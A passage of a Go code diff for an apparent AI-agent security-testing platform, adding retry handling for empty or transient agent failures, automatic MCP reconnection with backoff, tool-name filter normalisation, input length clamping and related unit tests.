baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
|
||||||
|
h.tasks.BindTaskCancel(conversationID, cancelWithCause)
|
||||||
|
taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
|
||||||
|
h.tasks.UpdateTaskStatus(conversationID, "running")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
if runErr == nil {
|
if runErr == nil {
|
||||||
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
|
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
|
||||||
transientRunAttempts = 0
|
transientRunAttempts = 0
|
||||||
|
emptyResponseAttempts = 0
|
||||||
timeoutCancel()
|
timeoutCancel()
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -418,21 +442,49 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
result, runErr := multiagent.RunEinoSingleChatModelAgent(
|
curHist := prep.History
|
||||||
taskCtx,
|
curMsg := prep.FinalMessage
|
||||||
h.config,
|
var result *multiagent.RunResult
|
||||||
&h.config.MultiAgent,
|
var runErr error
|
||||||
h.agent,
|
var transientRunAttempts int
|
||||||
h.logger,
|
var emptyResponseAttempts int
|
||||||
prep.ConversationID,
|
for {
|
||||||
prep.FinalMessage,
|
result, runErr = multiagent.RunEinoSingleChatModelAgent(
|
||||||
prep.History,
|
taskCtx,
|
||||||
prep.RoleTools,
|
h.config,
|
||||||
progressCallback,
|
&h.config.MultiAgent,
|
||||||
chatReasoningToClientIntent(req.Reasoning),
|
h.agent,
|
||||||
h.projectBlackboardBlock(prep.ConversationID),
|
h.logger,
|
||||||
)
|
prep.ConversationID,
|
||||||
if runErr != nil {
|
curMsg,
|
||||||
|
curHist,
|
||||||
|
prep.RoleTools,
|
||||||
|
progressCallback,
|
||||||
|
chatReasoningToClientIntent(req.Reasoning),
|
||||||
|
h.projectBlackboardBlock(prep.ConversationID),
|
||||||
|
)
|
||||||
|
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||||
|
baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
|
||||||
|
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||||
|
)
|
||||||
|
if exhaustedEmpty {
|
||||||
|
runErr = nil
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handledEmpty {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if runErr == nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handled, fatalErr := h.handleEinoTransientRetryContinue(
|
||||||
|
baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
|
||||||
|
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||||
|
); handled {
|
||||||
|
continue
|
||||||
|
} else if fatalErr != nil {
|
||||||
|
runErr = fatalErr
|
||||||
|
}
|
||||||
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
||||||
h.persistEinoAgentTraceForResume(prep.ConversationID, result)
|
h.persistEinoAgentTraceForResume(prep.ConversationID, result)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -64,10 +64,7 @@ func (h *ExternalMCPHandler) GetExternalMCPs(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
toolCount := toolCounts[name]
|
toolCount := toolCounts[name]
|
||||||
errorMsg := ""
|
errorMsg := externalMCPStatusError(h.manager, name, status)
|
||||||
if status == "error" {
|
|
||||||
errorMsg = h.manager.GetError(name)
|
|
||||||
}
|
|
||||||
|
|
||||||
result[name] = ExternalMCPResponse{
|
result[name] = ExternalMCPResponse{
|
||||||
Config: cfg,
|
Config: cfg,
|
||||||
@@ -115,20 +112,22 @@ func (h *ExternalMCPHandler) GetExternalMCP(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取错误信息
|
|
||||||
errorMsg := ""
|
|
||||||
if status == "error" {
|
|
||||||
errorMsg = h.manager.GetError(name)
|
|
||||||
}
|
|
||||||
|
|
||||||
c.JSON(http.StatusOK, ExternalMCPResponse{
|
c.JSON(http.StatusOK, ExternalMCPResponse{
|
||||||
Config: cfg,
|
Config: cfg,
|
||||||
Status: status,
|
Status: status,
|
||||||
ToolCount: toolCount,
|
ToolCount: toolCount,
|
||||||
Error: errorMsg,
|
Error: externalMCPStatusError(h.manager, name, status),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// externalMCPStatusError 在 error/disconnected 状态下返回最近错误(含断连原因)。
|
||||||
|
func externalMCPStatusError(manager *mcp.ExternalMCPManager, name, status string) string {
|
||||||
|
if status != "error" && status != "disconnected" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return manager.GetError(name)
|
||||||
|
}
|
||||||
|
|
||||||
// AddOrUpdateExternalMCP 添加或更新外部MCP配置
|
// AddOrUpdateExternalMCP 添加或更新外部MCP配置
|
||||||
func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) {
|
func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) {
|
||||||
var req AddOrUpdateExternalMCPRequest
|
var req AddOrUpdateExternalMCPRequest
|
||||||
|
|||||||
@@ -271,6 +271,16 @@ func TestExternalMCPHandler_DeleteExternalMCP(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestExternalMCPStatusError(t *testing.T) {
|
||||||
|
manager := mcp.NewExternalMCPManager(zap.NewNop())
|
||||||
|
if got := externalMCPStatusError(manager, "x", "connected"); got != "" {
|
||||||
|
t.Fatalf("connected status should not return error, got %q", got)
|
||||||
|
}
|
||||||
|
if got := externalMCPStatusError(manager, "x", "connecting"); got != "" {
|
||||||
|
t.Fatalf("connecting status should not return error, got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
|
func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
|
||||||
router, handler, _ := setupTestRouter()
|
router, handler, _ := setupTestRouter()
|
||||||
|
|
||||||
|
|||||||
@@ -77,8 +77,8 @@ func (h *MonitorHandler) Monitor(c *gin.Context) {
|
|||||||
|
|
||||||
// 解析状态筛选参数
|
// 解析状态筛选参数
|
||||||
status := c.Query("status")
|
status := c.Query("status")
|
||||||
// 解析工具筛选参数
|
// 解析工具筛选参数(兼容 mcp__tool 与内部 mcp::tool)
|
||||||
toolName := c.Query("tool")
|
toolName := normalizeToolNameFilter(c.Query("tool"))
|
||||||
|
|
||||||
executions, total := h.loadExecutionsWithPagination(page, pageSize, status, toolName)
|
executions, total := h.loadExecutionsWithPagination(page, pageSize, status, toolName)
|
||||||
stats := h.loadStats()
|
stats := h.loadStats()
|
||||||
@@ -113,7 +113,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
|
|||||||
for _, exec := range allExecutions {
|
for _, exec := range allExecutions {
|
||||||
matchStatus := status == "" || exec.Status == status
|
matchStatus := status == "" || exec.Status == status
|
||||||
// 支持部分匹配(模糊搜索)
|
// 支持部分匹配(模糊搜索)
|
||||||
matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
|
matchTool := toolNameFilterMatches(exec.ToolName, toolName)
|
||||||
if matchStatus && matchTool {
|
if matchStatus && matchTool {
|
||||||
filtered = append(filtered, exec)
|
filtered = append(filtered, exec)
|
||||||
}
|
}
|
||||||
@@ -143,7 +143,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
|
|||||||
for _, exec := range allExecutions {
|
for _, exec := range allExecutions {
|
||||||
matchStatus := status == "" || exec.Status == status
|
matchStatus := status == "" || exec.Status == status
|
||||||
// 支持部分匹配(模糊搜索)
|
// 支持部分匹配(模糊搜索)
|
||||||
matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
|
matchTool := toolNameFilterMatches(exec.ToolName, toolName)
|
||||||
if matchStatus && matchTool {
|
if matchStatus && matchTool {
|
||||||
filtered = append(filtered, exec)
|
filtered = append(filtered, exec)
|
||||||
}
|
}
|
||||||
@@ -584,3 +584,35 @@ func (h *MonitorHandler) DeleteExecutions(c *gin.Context) {
|
|||||||
h.logger.Info("尝试批量删除内存中的执行记录", zap.Int("count", len(request.IDs)))
|
h.logger.Info("尝试批量删除内存中的执行记录", zap.Int("count", len(request.IDs)))
|
||||||
c.JSON(http.StatusOK, gin.H{"message": "执行记录已删除(如果存在)"})
|
c.JSON(http.StatusOK, gin.H{"message": "执行记录已删除(如果存在)"})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// normalizeToolNameFilter 将模型侧 mcp__tool 转为内部存储用的 mcp::tool。
|
||||||
|
func normalizeToolNameFilter(name string) string {
|
||||||
|
name = strings.TrimSpace(name)
|
||||||
|
if name == "" {
|
||||||
|
return name
|
||||||
|
}
|
||||||
|
if strings.Contains(name, "::") {
|
||||||
|
return name
|
||||||
|
}
|
||||||
|
if idx := strings.Index(name, "__"); idx > 0 {
|
||||||
|
return name[:idx] + "::" + name[idx+2:]
|
||||||
|
}
|
||||||
|
return name
|
||||||
|
}
|
||||||
|
|
||||||
|
func toolNameFilterMatches(storedName, filter string) bool {
|
||||||
|
filter = strings.TrimSpace(filter)
|
||||||
|
if filter == "" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
storedLower := strings.ToLower(storedName)
|
||||||
|
filterLower := strings.ToLower(filter)
|
||||||
|
if strings.Contains(storedLower, filterLower) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
normFilter := strings.ToLower(normalizeToolNameFilter(filter))
|
||||||
|
if normFilter != filterLower && strings.Contains(storedLower, normFilter) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return strings.Contains(strings.ReplaceAll(storedLower, "::", "__"), filterLower)
|
||||||
|
}
|
||||||
|
|||||||
@@ -188,6 +188,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
|||||||
// 同一 HTTP 流内多段 Run(如中断并继续)合并 MCP execution id,供最终 response / 库表与工具芯片展示完整列表
|
// 同一 HTTP 流内多段 Run(如中断并继续)合并 MCP execution id,供最终 response / 库表与工具芯片展示完整列表
|
||||||
var cumulativeMCPExecutionIDs []string
|
var cumulativeMCPExecutionIDs []string
|
||||||
var transientRunAttempts int
|
var transientRunAttempts int
|
||||||
|
var emptyResponseAttempts int
|
||||||
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
|
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
|
||||||
var mainIterationOffset int
|
var mainIterationOffset int
|
||||||
|
|
||||||
@@ -249,9 +250,32 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
|||||||
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
|
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||||
|
baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
|
||||||
|
&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
|
||||||
|
func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
|
||||||
|
)
|
||||||
|
if exhaustedEmpty {
|
||||||
|
runErr = nil
|
||||||
|
transientRunAttempts = 0
|
||||||
|
timeoutCancel()
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handledEmpty {
|
||||||
|
mainIterationOffset += segmentMainIterationMax
|
||||||
|
transientRunAttempts = 0
|
||||||
|
timeoutCancel()
|
||||||
|
baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
|
||||||
|
h.tasks.BindTaskCancel(conversationID, cancelWithCause)
|
||||||
|
taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
|
||||||
|
h.tasks.UpdateTaskStatus(conversationID, "running")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
if runErr == nil {
|
if runErr == nil {
|
||||||
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
|
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
|
||||||
transientRunAttempts = 0
|
transientRunAttempts = 0
|
||||||
|
emptyResponseAttempts = 0
|
||||||
timeoutCancel()
|
timeoutCancel()
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -430,23 +454,51 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
|
|||||||
return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
|
return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
|
||||||
})
|
})
|
||||||
|
|
||||||
result, runErr := multiagent.RunDeepAgent(
|
curHist := prep.History
|
||||||
taskCtx,
|
curMsg := prep.FinalMessage
|
||||||
h.config,
|
var result *multiagent.RunResult
|
||||||
&h.config.MultiAgent,
|
var runErr error
|
||||||
h.agent,
|
var transientRunAttempts int
|
||||||
h.logger,
|
var emptyResponseAttempts int
|
||||||
prep.ConversationID,
|
for {
|
||||||
prep.FinalMessage,
|
result, runErr = multiagent.RunDeepAgent(
|
||||||
prep.History,
|
taskCtx,
|
||||||
prep.RoleTools,
|
h.config,
|
||||||
progressCallback,
|
&h.config.MultiAgent,
|
||||||
h.agentsMarkdownDir,
|
h.agent,
|
||||||
strings.TrimSpace(req.Orchestration),
|
h.logger,
|
||||||
chatReasoningToClientIntent(req.Reasoning),
|
prep.ConversationID,
|
||||||
h.projectBlackboardBlock(prep.ConversationID),
|
curMsg,
|
||||||
)
|
curHist,
|
||||||
if runErr != nil {
|
prep.RoleTools,
|
||||||
|
progressCallback,
|
||||||
|
h.agentsMarkdownDir,
|
||||||
|
strings.TrimSpace(req.Orchestration),
|
||||||
|
chatReasoningToClientIntent(req.Reasoning),
|
||||||
|
h.projectBlackboardBlock(prep.ConversationID),
|
||||||
|
)
|
||||||
|
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||||
|
baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
|
||||||
|
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||||
|
)
|
||||||
|
if exhaustedEmpty {
|
||||||
|
runErr = nil
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handledEmpty {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if runErr == nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handled, fatalErr := h.handleEinoTransientRetryContinue(
|
||||||
|
baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
|
||||||
|
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||||
|
); handled {
|
||||||
|
continue
|
||||||
|
} else if fatalErr != nil {
|
||||||
|
runErr = fatalErr
|
||||||
|
}
|
||||||
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
||||||
h.persistEinoAgentTraceForResume(prep.ConversationID, result)
|
h.persistEinoAgentTraceForResume(prep.ConversationID, result)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -237,7 +237,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"status": map[string]interface{}{
|
"status": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "状态",
|
"description": "状态",
|
||||||
"enum": []string{"open", "closed", "fixed"},
|
"enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
|
||||||
},
|
},
|
||||||
"target": map[string]interface{}{
|
"target": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
@@ -575,7 +575,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"status": map[string]interface{}{
|
"status": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "状态",
|
"description": "状态",
|
||||||
"enum": []string{"open", "closed", "fixed"},
|
"enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
|
||||||
},
|
},
|
||||||
"type": map[string]interface{}{
|
"type": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
@@ -1344,7 +1344,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"delete": map[string]interface{}{
|
"delete": map[string]interface{}{
|
||||||
"tags": []string{"对话管理"},
|
"tags": []string{"对话管理"},
|
||||||
"summary": "删除对话",
|
"summary": "删除对话",
|
||||||
"description": "删除指定的对话及其所有相关数据(消息、漏洞等)。**此操作不可恢复**。",
|
"description": "删除指定的对话及其会话数据(消息、攻击链等)。**漏洞记录会保留**,仅解除与会话的关联。**此操作不可恢复**。",
|
||||||
"operationId": "deleteConversation",
|
"operationId": "deleteConversation",
|
||||||
"parameters": []map[string]interface{}{
|
"parameters": []map[string]interface{}{
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -12,6 +12,16 @@ import (
|
|||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const maxProjectDescriptionRunes = 4000
|
||||||
|
|
||||||
|
func clampProjectDescription(s string) string {
|
||||||
|
r := []rune(s)
|
||||||
|
if len(r) <= maxProjectDescriptionRunes {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
return string(r[:maxProjectDescriptionRunes])
|
||||||
|
}
|
||||||
|
|
||||||
// ProjectHandler 项目管理处理器。
|
// ProjectHandler 项目管理处理器。
|
||||||
type ProjectHandler struct {
|
type ProjectHandler struct {
|
||||||
db *database.DB
|
db *database.DB
|
||||||
@@ -48,7 +58,7 @@ func (h *ProjectHandler) CreateProject(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
p := &database.Project{
|
p := &database.Project{
|
||||||
Name: strings.TrimSpace(req.Name),
|
Name: strings.TrimSpace(req.Name),
|
||||||
Description: req.Description,
|
Description: clampProjectDescription(req.Description),
|
||||||
ScopeJSON: req.ScopeJSON,
|
ScopeJSON: req.ScopeJSON,
|
||||||
Status: strings.TrimSpace(req.Status),
|
Status: strings.TrimSpace(req.Status),
|
||||||
}
|
}
|
||||||
@@ -184,7 +194,7 @@ func (h *ProjectHandler) UpdateProject(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
if req.Description != nil {
|
if req.Description != nil {
|
||||||
p.Description = *req.Description
|
p.Description = clampProjectDescription(*req.Description)
|
||||||
}
|
}
|
||||||
if req.ScopeJSON != nil {
|
if req.ScopeJSON != nil {
|
||||||
p.ScopeJSON = *req.ScopeJSON
|
p.ScopeJSON = *req.ScopeJSON
|
||||||
|
|||||||
@@ -190,6 +190,23 @@ func (c *lazySDKClient) Close() error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// markDisconnected 在检测到传输层断连时关闭底层 session,避免 IsConnected 仍返回 true。
|
||||||
|
func (c *lazySDKClient) markDisconnected() {
|
||||||
|
c.mu.Lock()
|
||||||
|
inner := c.inner
|
||||||
|
sessionCancel := c.sessionCancel
|
||||||
|
c.inner = nil
|
||||||
|
c.sessionCancel = nil
|
||||||
|
c.mu.Unlock()
|
||||||
|
if sessionCancel != nil {
|
||||||
|
sessionCancel()
|
||||||
|
}
|
||||||
|
if inner != nil {
|
||||||
|
_ = inner.Close()
|
||||||
|
}
|
||||||
|
c.setStatus("disconnected")
|
||||||
|
}
|
||||||
|
|
||||||
func (c *sdkClient) setStatus(s string) {
|
func (c *sdkClient) setStatus(s string) {
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
defer c.mu.Unlock()
|
defer c.mu.Unlock()
|
||||||
|
|||||||
@@ -0,0 +1,192 @@
|
|||||||
|
package mcp
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"io"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
// externalReconnectMinInterval 两次自动重连之间的最短间隔
|
||||||
|
externalReconnectMinInterval = 30 * time.Second
|
||||||
|
// externalReconnectMaxBackoff 指数退避上限
|
||||||
|
externalReconnectMaxBackoff = 5 * time.Minute
|
||||||
|
)
|
||||||
|
|
||||||
|
// isConnectionDeadError 判断错误是否表示底层传输已断开(而非调用方主动取消或超时)。
|
||||||
|
func isConnectionDeadError(err error) bool {
|
||||||
|
if err == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if errors.Is(err, io.EOF) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
s := strings.ToLower(err.Error())
|
||||||
|
return strings.Contains(s, "eof") ||
|
||||||
|
strings.Contains(s, "client is closing") ||
|
||||||
|
strings.Contains(s, "connection closed") ||
|
||||||
|
strings.Contains(s, "connection reset") ||
|
||||||
|
strings.Contains(s, "broken pipe")
|
||||||
|
}
|
||||||
|
|
||||||
|
// handleConnectionDead 在 ListTools/CallTool 等操作失败且判定为断连时,标记客户端并调度重连。
|
||||||
|
func (m *ExternalMCPManager) handleConnectionDead(name string, client ExternalMCPClient, err error) {
|
||||||
|
if !isConnectionDeadError(err) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
m.logger.Warn("检测到外部MCP连接已断开,将尝试自动重连",
|
||||||
|
zap.String("name", name),
|
||||||
|
zap.Error(err),
|
||||||
|
)
|
||||||
|
m.markClientDisconnected(name, client, err)
|
||||||
|
m.scheduleReconnect(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) markClientDisconnected(name string, client ExternalMCPClient, err error) {
|
||||||
|
if lazy, ok := client.(*lazySDKClient); ok {
|
||||||
|
lazy.markDisconnected()
|
||||||
|
}
|
||||||
|
m.mu.Lock()
|
||||||
|
if err != nil {
|
||||||
|
m.errors[name] = "连接已断开: " + err.Error()
|
||||||
|
}
|
||||||
|
m.mu.Unlock()
|
||||||
|
m.toolCountsMu.Lock()
|
||||||
|
m.toolCounts[name] = 0
|
||||||
|
m.toolCountsMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) onClientConnected(name string) {
|
||||||
|
m.clearReconnectState(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) clearReconnectState(name string) {
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
delete(m.reconnectAttempts, name)
|
||||||
|
delete(m.reconnectLastTry, name)
|
||||||
|
delete(m.reconnecting, name)
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) reconnectBackoff(attempts int) time.Duration {
|
||||||
|
if attempts <= 0 {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
d := externalReconnectMinInterval
|
||||||
|
for i := 1; i < attempts && d < externalReconnectMaxBackoff; i++ {
|
||||||
|
d *= 2
|
||||||
|
}
|
||||||
|
if d > externalReconnectMaxBackoff {
|
||||||
|
return externalReconnectMaxBackoff
|
||||||
|
}
|
||||||
|
return d
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) scheduleReconnect(name string) {
|
||||||
|
m.mu.RLock()
|
||||||
|
cfg, exists := m.configs[name]
|
||||||
|
enabled := exists && m.isEnabled(cfg)
|
||||||
|
m.mu.RUnlock()
|
||||||
|
if !enabled {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
go m.tryReconnect(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) tryReconnect(name string) {
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
if m.reconnecting[name] {
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
attempts := m.reconnectAttempts[name]
|
||||||
|
if wait := m.reconnectBackoff(attempts); wait > 0 {
|
||||||
|
if last, ok := m.reconnectLastTry[name]; ok {
|
||||||
|
if elapsed := time.Since(last); elapsed < wait {
|
||||||
|
remaining := wait - elapsed
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
m.scheduleReconnectAfter(name, remaining)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
m.reconnecting[name] = true
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
|
||||||
|
defer func() {
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
delete(m.reconnecting, name)
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
}()
|
||||||
|
|
||||||
|
m.mu.RLock()
|
||||||
|
cfg, exists := m.configs[name]
|
||||||
|
enabled := exists && m.isEnabled(cfg)
|
||||||
|
client, hasClient := m.clients[name]
|
||||||
|
connecting := hasClient && client.GetStatus() == "connecting"
|
||||||
|
m.mu.RUnlock()
|
||||||
|
|
||||||
|
if !enabled {
|
||||||
|
m.logger.Debug("跳过自动重连(外部MCP已停用)", zap.String("name", name))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if connecting {
|
||||||
|
m.logger.Debug("跳过自动重连(连接正在进行中)", zap.String("name", name))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
m.reconnectLastTry[name] = time.Now()
|
||||||
|
m.reconnectAttempts[name] = attempts + 1
|
||||||
|
attemptNum := m.reconnectAttempts[name]
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
|
||||||
|
m.logger.Info("正在自动重连外部MCP",
|
||||||
|
zap.String("name", name),
|
||||||
|
zap.Int("attempt", attemptNum),
|
||||||
|
)
|
||||||
|
|
||||||
|
if err := m.startClient(name, true); err != nil {
|
||||||
|
m.logger.Warn("自动重连外部MCP失败",
|
||||||
|
zap.String("name", name),
|
||||||
|
zap.Error(err),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// scheduleReconnectAfterFailure 在自动重连失败后,按当前退避间隔预约下一次重试。
|
||||||
|
func (m *ExternalMCPManager) scheduleReconnectAfterFailure(name string) {
|
||||||
|
m.mu.RLock()
|
||||||
|
cfg, exists := m.configs[name]
|
||||||
|
enabled := exists && m.isEnabled(cfg)
|
||||||
|
m.mu.RUnlock()
|
||||||
|
if !enabled {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
wait := m.reconnectBackoff(m.reconnectAttempts[name])
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
m.logger.Info("自动重连失败,将按退避间隔再次尝试",
|
||||||
|
zap.String("name", name),
|
||||||
|
zap.Duration("after", wait),
|
||||||
|
)
|
||||||
|
m.scheduleReconnectAfter(name, wait)
|
||||||
|
}
|
||||||
|
|
||||||
|
// scheduleReconnectAfter 在 delay 后触发 tryReconnect(delay<=0 时立即执行)。
|
||||||
|
func (m *ExternalMCPManager) scheduleReconnectAfter(name string, delay time.Duration) {
|
||||||
|
if delay <= 0 {
|
||||||
|
go m.tryReconnect(name)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
time.AfterFunc(delay, func() {
|
||||||
|
m.tryReconnect(name)
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -0,0 +1,215 @@
|
|||||||
|
package mcp
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestIsConnectionDeadError(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
err error
|
||||||
|
want bool
|
||||||
|
}{
|
||||||
|
{"nil", nil, false},
|
||||||
|
{"eof", io.EOF, true},
|
||||||
|
{"wrapped eof", fmt.Errorf("connection closed: %w", io.EOF), true},
|
||||||
|
{"client closing", errors.New(`calling "tools/list": client is closing: EOF`), true},
|
||||||
|
{"connection reset", errors.New("read tcp: connection reset by peer"), true},
|
||||||
|
{"canceled", context.Canceled, false},
|
||||||
|
{"deadline", context.DeadlineExceeded, false},
|
||||||
|
{"other", errors.New("invalid params"), false},
|
||||||
|
}
|
||||||
|
for _, tc := range cases {
|
||||||
|
tc := tc
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
if got := isConnectionDeadError(tc.err); got != tc.want {
|
||||||
|
t.Fatalf("isConnectionDeadError(%v) = %v, want %v", tc.err, got, tc.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestLazySDKClient_MarkDisconnected(t *testing.T) {
|
||||||
|
c := &lazySDKClient{status: "connected"}
|
||||||
|
c.inner = &sdkClient{status: "connected"}
|
||||||
|
c.markDisconnected()
|
||||||
|
if c.IsConnected() {
|
||||||
|
t.Fatal("expected disconnected after markDisconnected")
|
||||||
|
}
|
||||||
|
